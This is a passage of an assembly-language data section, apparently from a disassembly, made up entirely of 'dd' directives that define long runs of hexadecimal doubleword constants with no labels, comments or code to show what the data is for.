		dd 0C60CD741h, 9F80DF4Eh, 6C49F28Dh, 0A42ADC17h, 70182A07h
		dd 60EFEE60h, 0C31F38FBh, 0A52E5600h, 27C187FCh, 7E634701h
		dd 76D344E9h, 5CEF4h, 0D09EFB9h, 404A8998h, 3B655Ch, 94A56811h
		dd 50C20755h, 0C8847h, 0E58F7E91h, 75D5F063h, 90EEDC90h
		dd 9F9C4554h, 21CA6E00h, 0A12D9CCDh, 78A26370h,	0AC8074CBh
		dd 0ED01FBDBh, 61118D85h, 58C2358Ah, 9ECF00C0h,	3DF1CA13h
		dd 3100BEACh, 0D8EB5896h, 3A4898A4h, 2D800B44h,	4B93ECAh
		dd 55015640h, 229FD71Bh, 8030AB96h, 1E17009Ch, 94BD5FDBh
		dd 0BF004E3Ah, 48147E78h, 1F6ECEDCh, 367972h, 0D6EFA66Dh
		dd 0B03D6C18h, 0C4FB00CBh, 0D8ACDDB2h, 581E00A9h, 6C17BAC9h
		dd 0C700C078h, 0DB4CF756h, 0B220ACh, 73268611h,	61A16409h
		dd 0DA787A01h, 79553B4Bh, 17691464h, 0BB4DDD66h, 2D006F12h
		dd 41339084h, 0C7310E21h, 2C20B3C8h, 427C9E93h,	951A0F00h
		dd 8114B4Fh, 5CD8EA3Bh,	8100AC30h, 10925E89h, 0B0009DAEh
		dd 18311B4h, 128F524Bh,	0C6EBEFh, 0FD9AE81Dh, 0BD00734Ch
		dd 9E927285h, 396BD441h, 160047D6h, 0F4E3A74Ah,	0E900436Eh
		dd 0C34E6453h, 27B55867h, 845C0C09h, 1781200Fh,	5FF100CEh
		dd 0B3B10CC9h, 84A31D18h, 8105362Fh, 4134BB97h,	0D93F03AFh
		dd 0ABD083EEh, 800A9F17h, 2BACC6h, 0CB233082h, 0EA4836Eh
		dd 8037443Eh, 0ABB1AD01h, 6E02E94h, 0A1C34399h,	0D80210B7h
		dd 5D37CF22h, 285048A2h, 4421E6Bh, 8AA4C2FDh, 34E9B264h
		dd 80246CE1h, 258ED669h, 8880EBB1h, 21373454h, 0C600F3CAh
		dd 40E93F16h, 9B92E5Eh,	1855EFA9h, 0CE65C800h, 7700A2CBh
		dd 0B1E71C0Ah, 8C4AB2h,	0A9D1FDCCh, 4DF2B483h, 0EF5E3D1Fh
		dd 6E808B39h, 0B61F0095h, 8729Ah, 31CAAA1Fh, 8DBA3A66h
		dd 0D70D211Eh, 43641801h, 63F04FAFh, 3C0F007Fh,	0DAC6A7E2h
		dd 80955E82h, 694F26F8h, 0F21F280h, 0B6B4027h, 0BF3AF261h
		dd 0B2B8406Dh, 65170AD1h, 28D0AA5Eh, 0F32E7Ah, 91F01DEDh
		dd 593AFA63h, 16771000h, 38D86F75h, 0C07E7Ch, 0BB1F8908h
		dd 8F588E68h
		dd 2D4A94Ch, 0D4F8FDA0h, 3DC87813h, 0DB407Eh, 890224A0h
		dd 0AC00E5BAh, 0DC53156h, 8AA165h, 0A3FE961Fh, 2ECA7D7Eh
		dd 0FC80094Eh, 928E9480h, 66410014h, 0FDE2D9AEh, 2500E46Bh
		dd 9B3539E8h, 106E1D7h,	0F6F5814Bh, 80AB79D1h, 2B27DB70h
		dd 3F88ED7Ch, 0E000363h, 82C8772Eh, 6C00676Eh, 0F793D599h
		dd 226A343h, 4A6149FAh,	9980ADACh, 0EADD95A2h, 0E98D2101h
		dd 0C5E20A41h, 7A6D1CD4h, 138900F5h, 420451BDh,	5B008471h
		dd 0BA3D69E5h, 1E8D056Eh, 7C6DEA0Bh, 8639A800h,	0CF82920Dh
		dd 3091F100h, 0C403F968h, 54E300B1h, 0AB0A12AEh, 0E8004784h
		dd 5CE4764Bh, 386872Ch,	94D64F9Fh, 0C382CC61h, 0FE423474h
		dd 291C41CBh, 5D14D839h, 53009CCDh, 9738C2AEh, 0E8947B43h
		dd 0B603FA00h, 3529F7Eh, 211D5D25h, 30A02DC9h, 6100688Ch
		dd 2EE9F29Ch, 0BEA53Fh,	40298755h, 807ADD98h, 33278600h
		dd 0D4B77695h, 836338B4h, 0C5FE1Dh, 807385EBh, 68007845h
		dd 10B3967h, 12B86C89h,	0ECE755Ch, 0D72020FFh, 1BEC0591h
		dd 831F7000h, 1EB51742h, 1C5AF0B8h, 495C3844h, 8200A4EBh
		dd 0D4F30D4h, 8E2D9927h, 0FFF7A0E4h, 1C6E73B1h,	0C7232C20h
		dd 109B8645h, 1AA0A4A2h, 0EAD5200h, 14CE0B75h, 0B5CA00A9h
		dd 0F1DC6AABh, 0F01707E0h, 0C200371Fh, 1EEBE170h, 1088003Ah
		dd 9A3CD611h, 3700CC44h, 0AF620B17h, 62F19h, 5E3952D9h
		dd 3FEA27D2h, 1AA2E507h, 33440DAh, 0BBE697C1h, 3D32460h
		dd 5D567E3Bh, 30F01912h, 27007C5Fh, 0AFC4DC72h,	0C75E9Eh
		dd 3C12ED4Ah, 0EFCC88E9h, 5410CF00h, 0DB9EE3E8h, 82AC1424h
		dd 43399BEAh, 6EBBA880h, 78ADF88Bh, 7324DC00h, 60ED0FDBh
		dd 14520E4Eh, 0E521FBFFh, 0FC63DD68h, 0C0000E57h, 0B6D4F5F8h
		dd 3863CA4h, 1F3D7436h,	0ED887EF4h, 2B00C772h, 3412CE0Ch
		dd 44BFC32h, 14E0E257h,	0B77CA02Dh, 3F0982EAh, 807DF5F6h
		dd 0DB6E0690h, 429B24EDh, 402E9FD4h, 60D2D43Bh,	0DE005864h
		dd 0EC89714Ah, 0F8F3AAA9h, 4730018h, 3BD9E862h,	0C609E21Bh
		dd 81896DFDh, 0D0E01DD2h, 40161192h, 10A96F1Ch,	834DA54Ch
		dd 0DD9A28CCh, 0C2936102h, 0E823A7A0h, 0A92E4h,	7EC0E5D3h
		dd 0D9C3B155h, 0C4895300h, 927C513Ah, 21D763F4h, 966029A7h
		dd 0EFF0D038h, 6A7B54h,	68DC61EEh, 91B963F4h, 97F9BF08h
		dd 73D6FF7h, 0C0EBE645h, 0B32D39BDh, 71EEA80Bh,	0BF9C21E3h
		dd 0EE70F466h, 595101B6h, 10D3ED09h, 4929E05Dh,	0EAAB8E00h
		dd 4758B39Fh, 0FF1CA96Dh, 3D86FAE0h, 2A162B37h,	15E400B6h
		dd 0B8C08478h, 9CA0C00h, 0D3D101A6h, 0C95C04FBh, 0C4162817h
		dd 74798069h, 6758DB1Ah, 420078FCh, 0B06081AEh,	7A68AC99h
		dd 0D81507B7h, 1460449h, 0EC1C6520h, 55003F07h,	0EB1A6163h
		dd 244B14E5h, 673DF0h, 93727962h, 1900E0AAh, 5D92E475h
		dd 6D9966h, 54DDFF7Bh, 25B2E535h, 6E7752E6h, 0CCD4B600h
		dd 40808162h, 0B0B827B9h, 0E0726C41h, 0CF385831h, 0EFE48044h
		dd 4D4199D8h, 528F005Bh, 0A47B38D3h, 0F9A20DC1h, 0FBFD9C0h
		dd 41589C30h, 14E25A26h, 0FCFA2FFBh, 0CEAF9500h, 0AB68B154h
		dd 8409A4A8h, 40301C60h, 88E5DCh, 5B431D0Bh, 2BC86986h
		dd 510E3C30h, 9553497Dh, 63E70400h, 1C394B90h, 67B0004Eh
		dd 3872FAE1h, 9C10005h,	8F13CF29h, 8100B6C5h, 0E6DBB13Fh
		dd 0F0F41D08h, 0A1D400CDh, 0A0C8B37Ch, 3600495Ch, 98542185h
		dd 3B225A3Eh, 607C4D28h, 3C477162h, 8EB85623h, 5E77EE00h
		dd 0CF88799Ch, 18B100E1h, 30D83906h, 484EB0B7h,	2EC77007h
		dd 21195A30h, 8E0600B5h, 27B34BF8h, 0B2332074h,	0C881D80Dh
		dd 2C472F0Ch, 6B4CBCh, 32A95E38h, 371E14ECh, 3E852253h
		dd 9EC05DD9h, 98499Ch, 95C945B3h, 0AA32ACF5h, 0C25C8D03h
		dd 0A8A575EAh, 0F8D92E59h, 9D250088h, 79083C66h, 2D0F6709h
		dd 80418F15h, 0D5F3742Eh, 13720076h, 9F7347CBh,	4D0004E3h
		dd 8823CEBFh, 4378245h,	0B2D6C08Ch, 0BC95C090h,	8600419Ch
		dd 776DBBBDh, 4B783089h, 0A60BF007h, 68DBAA0Bh,	27AB803Fh
		dd 8EB52Fh, 877FE1CAh, 0B1F9B330h, 0FD03EFB8h, 3FB4FB09h
		dd 0B5A801D7h, 9AE49D01h, 14C9CF04h, 0C5AEF008h, 0D852AD1Fh
		dd 2B768F00h, 1E271DCFh, 0C090B526h, 7F3328B3h,	4A004CA0h
		dd 40FB4829h, 60832D05h, 0C6FAE89Bh, 0AF7FBBD3h, 0C3AEE900h
		dd 1D5E0B5Ah, 483B3EA3h, 0EE9D4000h, 1F9ED773h,	0B88AC406h
		dd 0FC418B85h, 0DF5F0028h, 0AE403013h, 0A00D732h, 0BBEBBC6h
		dd 0EC533A26h, 1B363029h, 244290C9h, 344F3Ch, 0F547F626h
		dd 3E62F0Dh, 0C40B46F7h, 0F3C82472h, 7700E29Fh,	0C599FA37h
		dd 0FA16B66h, 0D53C1C07h, 97BE2D81h, 67962075h,	19BEE250h
		dd 0F30223Eh, 80AC58DFh, 0BAFF0D63h, 672A0E4Bh,	0FEEF9CDDh
		dd 0B55A0900h, 850379AEh, 0EFDA3D1Ch, 0CEBEA010h, 0C3BA1DFDh
		dd 0C88C804Dh, 800FEE71h, 0A943EA28h, 3EF5A300h, 72AA8E55h
		dd 0BA6E0EEBh, 7020E9BBh, 40ACF9B7h, 69007478h,	3DC3B031h
		dd 638E080h, 0C122A234h, 0A529B06Bh, 14504828h,	0AB9886D0h
		dd 1FADF000h, 0CB2C2EFBh, 0F81201A8h, 4ABA991Eh, 19C22066h
		dd 4CD75Ch, 918C9CA7h, 0EF91A25h, 0DBE86E69h, 0F789D927h
		dd 97759022h, 0F500562Ah, 243CC02Fh, 7821B8F3h,	0FB17005Ah
		dd 0D1771B01h, 4A073BC8h, 93194347h, 885E12E3h,	2EC220BFh
		dd 3F48C4h, 0C5B78A75h,	0E90070E6h, 25517F12h, 1FC436DFh
		dd 803A2DBDh, 4E164B97h, 84007D01h, 10347663h, 0A9799Ah
		dd 407FF22Fh, 9D302DD9h, 4628BB00h, 482060BFh, 0F0871E1Ch
		dd 1273C0EDh, 7A805B5Ch, 7178AA74h, 8204BA56h, 40D11633h
		dd 0D7D2E3h, 0EEF4DA11h, 6A64CFFEh, 5A4BAE0Ch, 3918C2Ah
		dd 0D214E29Dh, 29101D32h, 9000D022h, 0CDAED71Ah, 0B6004746h
		dd 4BE4F378h, 270911h, 0D6F1BA3Eh, 0FA6D88DDh, 0E2E69500h
		dd 0CAB465F3h, 0BD583CCFh, 0B6E59A00h, 3E4C8A13h, 708B9900h
		dd 0F1071B4Bh, 4404031Fh, 603614F6h, 32D32E0h, 990059FAh
		dd 0E386DA89h, 3973A4h,	914AABAFh, 653D3AE6h, 5495700h
		dd 0BBFF17D3h, 39A20971h, 0AC005BC4h, 92FD0CB2h, 0F6004FEAh
		dd 0AEEFD21Dh, 0AA3DE5h, 0FEBE373Fh, 7BA521CBh,	0C6A10500h
		dd 3DE10AB8h, 5A130073h, 4A51FD3Ch, 0CB1D4DA8h,	8340D6F2h
		dd 7C89DA40h, 75017508h, 0EA960053h, 50104EAEh,	290AC035h
		dd 0ABE811A9h, 0F6B46F0Eh, 0A0C4C40Eh, 5AC241DDh, 0AE1C0095h
		dd 6B631E86h, 3C00E230h, 0D30D15A8h, 0CEA4A3h, 73821346h
		dd 32C5141Ah, 0A8CC3Ch,	0FF53902Fh, 632B1656h, 0FD8C18C4h
		dd 6BE9C1C0h, 0FB335103h, 9303D870h, 37418018h,	16D001Bh
		dd 9BE04459h, 0F40F673Fh, 0E0E2B455h, 0DCD7C40Ch, 0A78400B5h
		dd 25D3E4CEh, 1300BCDDh, 386BBA27h, 248FB442h, 172C18F7h
		dd 0B2640086h, 0DFF52A30h, 5BF61600h, 6F879E5Ch, 6C063C99h
		dd 8137780h, 0CEE2CC97h, 5BAE2500h, 0AC2D6AC3h,	49EE0087h
		dd 0FFBBF3D6h, 803CE7AAh, 1F5D800Eh, 440245Fh, 8BF90038h
		dd 68904542h, 0CE01A191h, 0B0D0A66Fh, 0BFF028FEh, 0AFD80026h
		dd 7DB924C4h, 1A78750Ch, 77E50800h, 0C74E190Fh,	0F4E7070Ah
		dd 304959F2h, 0A201BD6Ch, 347A4F72h, 78955AE0h,	78FE000Dh
		dd 5DAFAC06h, 83247080h, 1200E775h, 7D47B1AEh, 10A70704h
		dd 634F1696h, 85B8C6D8h
		dd 0FCE4B8C3h, 2D9C3200h, 1E6AC0B7h, 21A60F04h,	0AD07E14Fh
		dd 0FACC70CBh, 676662C2h, 1EF08352h, 1B1F1C5h, 90C36D97h
		dd 3472E4EBh, 48DBCE00h, 0A3A99A28h, 43710165h,	0C6F22D70h
		dd 4720245Bh, 0FC757E00h, 0E211CB1Dh, 0AF121D42h, 80979F30h
		dd 9FBA4CADh, 8A00728Fh, 46F5D808h, 0E0C15Dh, 0AB1B0370h
		dd 0DB401153h, 0D4E92600h, 0D0F1424Eh, 313607B1h, 80499745h
		dd 437C8432h, 0A5331026h, 0A5CA7A09h, 0D4308D3Ch, 3E7AC44h
		dd 0BA0513CCh, 68F0B567h, 0A20085FDh, 0D7B82AA5h, 0BF3CF8h
		dd 9311990Fh, 80FB21B6h, 0BE00549Ah, 60D9ED10h,	38A37692h
		dd 5500B58Bh, 58E321F7h, 0D100984Bh, 0FA2A8E51h, 1E94D43Ch
		dd 0BADC96BFh, 0FBEC6C09h, 80153C87h, 0AECC9B91h, 0E6DFF303h
		dd 9B46D1C1h, 628AA0E7h, 92D6003Eh, 0C257D534h,	75007C7Eh
		dd 0E772C807h, 4440E4h,	4A8B3B84h, 1F6C48AAh, 7C756B00h
		dd 18A482F8h, 0FA64284Dh, 8C200D0h, 0F2670A91h,	0EA4F30DFh
		dd 0D90104B8h, 20CE6FA8h, 625AF044h, 0C158AB01h, 0A6F89445h
		dd 405ECC42h, 3289E99h,	328B8D3Fh, 8F05CC8h, 390055B6h
		dd 0E7DBB901h, 2F63A39Ah, 7CDEE0D8h, 64400039h,	0EBF9BC7h
		dd 0CC8A00BAh, 658C4E7Ah, 927E3BDFh, 90A9BE00h,	0E1EE2DF5h
		dd 9070B8D0h, 24470599h, 80AA336Fh, 0FAC2863Dh,	0D4E5D00h
		dd 0D0E4F68Ch, 9072397Fh, 0FBEB8900h, 651708DCh, 0C330E05h
		dd 0CC007936h, 9A060D53h, 0A1710EDFh, 0EFAEDD43h, 60CB6783h
		dd 0CA3F18C0h, 0AC90AE7Ah, 0D2BD30Eh, 7DF980D1h, 52F130h
		dd 8A6A929Bh, 0F3870B91h, 684CAC06h, 7203A6Ch, 6B26C5E7h
		dd 6A41C093h, 0A748ECF7h, 0C1B0038h, 0ADB6068Eh, 9304012Fh
		dd 0FDD51CF3h, 0ACD6D5CFh, 0DC0F84EEh, 5BC7E344h, 2921B855h
		dd 0D4870079h, 0D19D4713h, 2F2A3FFh, 0B649D91Dh, 2B7E4BC0h
		dd 0C5FC1Ah, 35606E2Ah,	0E504AAC9h, 7B17B104h, 0A0805EBFh
		dd 0E066D1h, 497328BDh,	0C8F64534h, 756E80Bh, 9256800Ah
		dd 0EE4AEEF2h, 4C8B1DFFh, 28C9C085h, 9033A91Eh,	8146F400h
		dd 7B0E2EF8h, 1F9B98B8h, 0C092C744h, 0BCA8A955h, 63F8948Fh
		dd 772F6A00h, 0A76D74ECh, 0EB153AEAh, 6EE41F00h, 2B4B2D5Bh
		dd 0AD96FD17h, 4190D10Fh, 8E6C0197h, 72EFC0h, 0A9AC88D5h
		dd 0EDC632A7h, 809D163Fh, 292F7773h, 10C46B0h, 3ED0E7C3h
		dd 7040C5E0h, 0D91C1618h, 3AC0B2A2h, 0A18E8F2Fh, 12890E2h
		dd 85B51BA5h, 0D4884456h, 4D793D2Dh, 0C72E1700h, 1CD0303Eh
		dd 156300BEh, 2D81837Bh, 0BD015D39h, 1390111Fh,	11823260h
		dd 6CF6426h, 80E18340h,	11F56F17h, 13535840h, 1D9808F1h
		dd 0F07D6EC3h, 0F48C5C18h, 6339E40Eh, 234DAE56h, 1E6B4BC4h
		dd 0EEA4F621h, 0D703BD90h, 68741A28h, 447FFEB8h, 79008E7Ch
		dd 26712038h, 13C359h, 65109C5Ch, 85223BA8h, 7C40A007h
		dd 0F64132BCh, 1CE0EDC9h, 34790715h, 1327FE20h,	88C0136Dh
		dd 0EE00711Fh, 43CD7F87h, 262F1A6h, 3FC48D97h, 2374BCA3h
		dd 8000624h, 19CAD59Ch,	28D80F76h, 7F6CDCD0h, 0C00340B9h
		dd 0D2F5938Eh, 59C101EEh, 32638B82h, 0C2E2F8A1h, 43A50A1Eh
		dd 19BBC000h, 0F763F41h, 0D33D74EEh, 34A0B50Eh,	0BC57445Bh
		dd 7DA0300h, 630B7F2Bh,	0C2E500AAh, 0C5DB9AA0h,	520089ADh
		dd 0A11B54BDh, 32FD20Fh, 9ADA5870h, 8101EA33h, 652C3261h
		dd 0EAD3B384h, 0D4CC80B9h, 4885CE39h, 70E21EBh,	2D206982h
		dd 0CBD9F1A5h, 2033AB0h, 66A392DEh, 43E03EB7h, 7FE96Bh
		dd 0D9C23E72h, 5FF600B0h, 824763ACh, 59399C11h,	0B53907FFh
		dd 9B40BEE7h, 67AC5Eh, 5770BC52h, 0BDD9751Ch, 4E0B0C02h
		dd 40B5A5EDh, 6F1F95h, 0AD82AFCBh, 5D21DCA6h, 0E588500h
		dd 0A18C4FF6h, 0ABF0C39h, 0D89CDF4h, 38DF3F07h,	12D21137h
		dd 639DE00Ch, 1967006h,	0A9CA26D3h, 242B4AD0h, 0DB3A7048h
		dd 28810036h, 0F096F11Ch, 48AC0063h, 0EA41D212h, 43008735h
		dd 9BF9BA14h, 30233F9Ah, 1340E61Ah, 0CD2F6C52h,	57BD459h
		dd 800C35ECh, 2002EFB4h, 6D419017h, 0B4BA3440h,	0AB3618h
		dd 0E93A423Dh, 0C273CB4Dh, 7D713Fh, 99B3A2EEh, 311D9Ah
		dd 1FF4A6F7h, 0F690F005h, 266CF900h, 7A9EC0A3h,	0F0C67B0Eh
		dd 9A8A2EDCh, 388919FBh, 96AAD041h, 5F2B3500h, 7CFF7F34h
		dd 0FD0D0097h, 5B508C3Fh, 2A76D7F7h, 72228E48h,	8D1838C0h
		dd 86464Ah, 9C844106h, 0B3D73E21h, 1E3A0800h, 907A8C18h
		dd 31866698h, 18D3C4D9h, 946AB303h, 0F510F86Ch,	0C3C20013h
		dd 0F8CED8FAh, 9E0067A0h, 59B82CD6h, 2AAAC0h, 247F1D47h
		dd 0D2560603h, 1903257Dh, 990CC252h, 0DC5AF846h, 0B161CE8Eh
		dd 8DF917A0h, 7A004955h, 0D9C6EC05h, 336C9B6Ah,	42A17CB6h
		dd 8EA83CB0h, 95E24400h, 4578D041h, 0B7A22A9Ah,	0A4FE00ACh
		dd 87120C88h, 0BE000E59h, 0E6D0FDC7h, 3C6A0B9h,	39C1204Fh
		dd 0E9488543h, 10FB00D4h, 0F216FF9Bh, 25967BF4h, 7F606559h
		dd 0AB98689Ah, 8803A900h, 1D12A877h, 741E0E4Bh,	4E2072ABh
		dd 337EA3BAh, 8854EB30h, 0FA7C3Dh, 579DDA50h, 621F8249h
		dd 0FD004C78h, 0D58461C0h, 38DCE99Fh, 45805FB4h, 0E36998Bh
		dd 0CB00D22Bh, 0A0343B17h, 0BBC377h, 28694E24h,	3F953530h
		dd 1C056A70h, 0F977E9A2h, 2CF780EFh, 16004A0Ah,	0EFAF4D8h
		dd 3E826DE5h, 518070CEh, 80328AE8h, 0B800F979h,	0ECD1C7CBh
		dd 0CC1EBFh, 2C18F238h,	71745F42h, 149C1700h, 0F44AB4D8h
		dd 0ECCF07D7h, 81B33D72h, 0C803C28Fh, 0AD024B98h, 1ED96983h
		dd 9A45E03Ah, 0BBD51DC4h, 310800D8h, 66343D5Ah,	0B6E54F00h
		dd 8CD0226Dh, 5741002Ch, 9968BEF5h, 71FB01Fh, 3E5FFE67h
		dd 193B0D0Ch, 0C0E2752Dh, 9A9EC88h, 0C300D5F1h,	0D61F9A7h
		dd 7AC25DBCh, 0A8BD0110h, 482515E9h, 9FD8D01Fh,	89EE6903h
		dd 170982ACh, 0FF6010h,	0D9F7E097h, 3A00AEA5h, 0D09E7D63h
		dd 0B2C3CCh, 9C9FD7CEh,	3223A1E3h, 0A2FEB700h, 0DA47682Fh
		dd 1E1A0013h, 79660A7Eh, 7B1F917Dh, 0FF990EFh, 4FCE0B52h
		dd 24988045h, 3B870C0Ah, 0BD80E332h, 92041F06h,	5C3D6A56h
		dd 0A4408E01h, 97E1005Fh, 0A8BE894h, 35039071h,	1C1E5920h
		dd 45070608h, 883BAA03h, 0FBE1E90Fh, 297A0C1h, 12FE8F6Ah
		dd 0A66E60Dh, 0D0C84Ah,	134E6EBDh, 6F049AB8h, 0E0AFEF99h
		dd 8825A583h, 2C59783Ah, 3FF1D844h, 7F3B1Eh, 0E0424EFAh
		dd 980C8B27h, 0A021863Ch, 0FFC60F16h, 0E760E5F5h, 434B42C7h
		dd 65A654Ch, 8A3FEEBEh,	75180028h, 49DDAD8Dh, 7D28B003h
		dd 0DFFAA4D9h, 9F28C838h, 8E4C4F8Bh, 3B2EC88Ah,	0D6814AFEh
		dd 65A5891Eh, 366DE0CDh, 7B97C000h, 0D3AC996Ah,	0A9F8005Dh
		dd 0FB4B4398h, 192909CDh, 72808047h, 3A3B996Eh,	0C0A243FFh
		dd 22A7E155h, 0EF4A0098h, 41092C1Ah, 663E0BE3h,	328C0081h
		dd 2EFF25EEh, 8ED3097Fh, 29004A2Bh, 0B87264A0h,	2AFD9918h
		dd 0D025D0h, 7F9E0487h,	4F075C1Fh, 4A04B075h, 525A1E38h
		dd 8402480h, 90D180CCh,	5C5E9E0Ah, 815B2028h, 0A0C22A1h
		dd 554CE1Fh, 0A4883958h, 0E815008Dh, 0EF55C14Eh, 9572983Ch
		dd 0AF35A100h, 65DC1EFDh, 14237CD5h, 0C83BDF4Ch, 0A4A36B00h
		dd 9B979347h, 19639600h, 11BB528Bh, 6ED00080h, 0A357A661h
		dd 6900EA87h, 0A85E3CD1h, 93C0DFh, 0B28B2524h, 0AC6CF15Ah
		dd 0E6158900h, 0EB7233Bh
		dd 14C70B6h, 0E22B463Dh, 70A57543h, 580CE721h, 419438C1h
		dd 0F1180067h, 2197DBC5h, 9B07CEC8h, 0BDB58830h, 82FDCAB0h
		dd 676001A3h, 0D35FD797h, 4A4024E4h, 0EA8AE70Fh, 0DC1260EDh
		dd 208332Ch, 193EA12Bh,	0D0C094D6h, 931258Ch, 0FB3DB8CAh
		dd 380C182Fh, 8D30ADC9h, 137D888Eh, 0DDA20074h,	89E55D1Fh
		dd 0FA03CB98h, 78398673h, 1530CFA3h, 491FE1h, 4AE6ED38h
		dd 0D5639B99h, 0FF50C800h, 0FC87F1F4h, 0A1660088h, 0D75D6F31h
		dd 44003B02h, 6837C11Bh, 0FE7BD196h, 57C9005Ah,	3525F6D6h
		dd 761D4D6Ah, 7100128Dh, 6A38413h, 0AD6700E5h, 9D4AB6Dh
		dd 0AC60201Ah, 0D1D6FECh, 7D8C2EC9h, 0CCC300EBh, 673E096Ah
		dd 2C0479C0h, 0CFB8E2h,	0FA47520Eh, 3C2FFF08h, 23000F90h
		dd 0B0FB7E74h, 2466BDh,	26ADAE5Dh, 20EFB1B9h, 0DE0094F2h
		dd 0A00AE42Bh, 1808136Ch, 0B06F48A9h, 0E0004AD4h, 0A463F76Dh
		dd 1929E44h, 868BDDF4h,	6AA7B751h, 0E114ADC0h, 9C500A4h
		dd 5D0BDEA2h, 0E23D987Fh, 0F8DAB0D6h, 0DEB7EDC0h, 0FA6B80B0h
		dd 645E2210h, 706F807h,	0BDC06588h, 519924h, 4112597Dh
		dd 0BEABB63Bh, 0BB05B500h, 9495C70Eh, 4AEC0068h, 0CCF6D4C2h
		dd 0FE0088ADh, 0AE91502Bh, 0AB1587h, 71D0834h, 2153C373h
		dd 0FF7BC100h, 0F9527822h, 494B004Ah, 0C7878FBBh, 850FEDE3h
		dd 805A5956h, 31AC97D7h, 5D221D9Bh, 0BEBD8E2Ch,	0B7005h
		dd 0E1A24EBEh, 8C0E0985h, 201C2173h, 662DE771h,	894F3CD0h
		dd 37AA8089h, 8EFAB00h,	0BA0E7698h, 0FFE927D7h,	0C6060FC0h
		dd 0A4B007h, 0BCF3EB51h, 407E8EBEh, 0C9706B07h,	0E2B0C65Eh
		dd 3AD573E8h, 0EE002CA1h, 9A07F6EFh, 0FE310B6Eh, 0A5B210EDh
		dd 0C453E0h, 0F47573AEh, 31924D7Ch, 8DFB851Ch, 76CD1447h
		dd 0A4818AD0h, 0D4B213E3h, 0A9F30F32h, 982446A0h, 0C1126522h
		dd 0A904F8A1h, 0C0AED6B0h, 0D05771F1h, 93E99B0h, 56BB09B3h
		dd 3111005Ah, 0F22D684Dh, 15920074h, 636F6D12h,	900EC627h
		dd 205149A1h, 0D75AC88Ah, 7B0DF033h, 0E94000E7h, 55271EADh
		dd 8FE0FFBFh, 0C7B32D00h, 0F2B721B9h, 1E8670C2h, 40D95A25h
		dd 415D232Bh, 6D0002A7h, 85C2043Ch, 2F26ECh, 6CC0120Dh
		dd 0CB747699h, 277B0800h, 2C784D2Bh, 0F2BD0011h, 2E644493h
		dd 3103E368h, 0C2799E87h, 55D7983Dh, 0E1690076h, 0B7F67494h
		dd 960E8D78h, 0A08AB914h, 265536D1h, 0EC700F99h, 0DE9D9B32h
		dd 0BC1E40E1h, 0D5DC3ACCh, 0D4EFA40Fh, 71E3C0FDh, 28493D77h
		dd 0B1C5C1h, 0F3AD8C8Bh, 2B4B6014h, 77BE0F09h, 0B5B40195h
		dd 98506644h, 146705h, 2DDA03BFh, 57BABC53h, 4007737Dh
		dd 87CF7BACh, 2E657950h, 0BF6F00A9h, 78DA5054h,	0E100F6EBh
		dd 0A18C177Ch, 5F9DAAh,	7348911Fh, 3D854550h, 2624951Eh
		dd 0A569C040h, 0A01321h, 0E58A6041h, 933B315h, 0E9008D98h
		dd 36BB97F1h, 91516Fh, 0F98E4D60h, 44F87913h, 0C0C7E800h
		dd 660E05A6h, 0D940004h, 14B32410h, 580EB183h, 408D2617h
		dd 5ED143C1h, 38010011h, 0DE64810h, 84002975h, 93D06DA5h
		dd 0FF4D6Eh, 0F9E88894h, 0EC045BEFh, 8A7B5A03h,	0D02785A3h
		dd 73066B2Ch, 4184919h,	9CD47900h, 930F70E4h, 48DDC300h
		dd 0F835F5FCh, 37AF002Ch, 0DB6E3B3Eh, 20125170h, 6800D803h
		dd 0D64CBBD7h, 52583DA2h, 0CF509580h, 1C3AC045h, 70D0A70Eh
		dd 473BC0E1h, 0A49A3Eh,	0D80720A1h, 46CB1BC7h, 16FFCC01h
		dd 8637FA5Eh, 33D0B6EDh, 0B7EC00F3h, 7CCDDB91h,	3200FDF6h
		dd 3ADADDABh, 1501B45h,	0ACAD49CAh, 0C8AE3CEAh,	9B0023C6h
		dd 818DE720h, 0C8B6A9h,	54EB41CBh, 828387F8h, 0AA0096F2h
		dd 0E2699A6Fh, 237079Fh, 1E521985h, 0EFC0556Ah,	9609ED82h
		dd 0AE7967h, 41CD1A63h,	0C4311F62h, 0CF520051h,	0E42FDB8h
		dd 0F0B9E600h, 0EFBA859Fh, 6E050033h, 8E0BF129h, 0F9000635h
		dd 30695B97h, 77B6599h,	0B605EAB4h, 0A011D6C7h,	41377E00h
		dd 0BB755B32h, 963407E6h, 404935CFh, 2C0F6E86h,	3005D030h
		dd 5DC0498h, 0E1AC5671h, 4154C01Dh, 2A008A1Ch, 4C934A3h
		dd 91797Eh, 0A5F0B688h,	35D7C1C5h, 462C0100h, 0E4B9703Ch
		dd 0BA9C00CAh, 0EF91CFC2h, 0C67477ADh, 8031463Eh, 8155867Fh
		dd 6BD71h, 40A98032h, 0FD5B1A74h, 3BB6A300h, 0B06BE892h
		dd 0ECDA0045h, 0C6DFB74Eh, 0EF70ABFEh, 1A978007h, 0B1B0FFE8h
		dd 9487A9h, 0E001ADA6h,	2B5721BDh, 65C49507h, 39700681h
		dd 0E5D9738h, 0DE4FD4E2h, 1B03EA3h, 0AFD0E4F3h,	56EC7C64h
		dd 38E4800h, 109D4D85h,	9C550025h, 6A588B70h, 0EB00F23Bh
		dd 3AB178ADh, 1832A13h,	0CAB90E6Fh, 0C4681471h,	1872AA5Ch
		dd 0AFA19100h, 3BE15B7h, 8766002Eh, 228EBF8h, 940E6A74h
		dd 0A0D51271h, 0B7445B8Fh, 89BA014Ch, 0AA696F7Fh, 1A9BC4CBh
		dd 257D387Bh, 0C7921B00h, 0DE47F173h, 60D800BFh, 77768239h
		dd 2300A93Ch, 0FD17B911h, 38477962h, 980F63Dh, 0DD3C40E5h
		dd 28787714h, 640E4E00h, 9AA95EC3h, 2B6E020Dh, 0D782F6C5h
		dd 112DCC80h, 0F1D628Bh, 4B091CC1h, 86560057h, 0F0AE1Fh
		dd 0BAD67022h, 48BEE903h, 498F9E00h, 965E376Dh,	1CCB7632h
		dd 803EA842h, 4ADA6FA3h, 7A0025E1h, 5E843677h, 7DC10BB2h
		dd 0CAB0711h, 1B81534h,	0ECBE1793h, 9017F05Fh, 0BCA88042h
		dd 6EE8A130h, 1D0E683Fh, 80D7DEBCh, 0F41715CEh,	3D530057h
		dd 0B039ECCDh, 0BF589061h, 0C6DA0093h, 2BA814EEh, 312003FBh
		dd 0BA1384D2h, 70153EF1h, 0BB00F70Bh, 0A16881EFh, 4CFEB6DDh
		dd 6860D9F3h, 7657E4D6h, 27C9B900h, 7C8D0136h, 0B5340023h
		dd 0B33D5C4h, 0AF007464h, 96C31EBCh, 297B83h, 985A99CCh
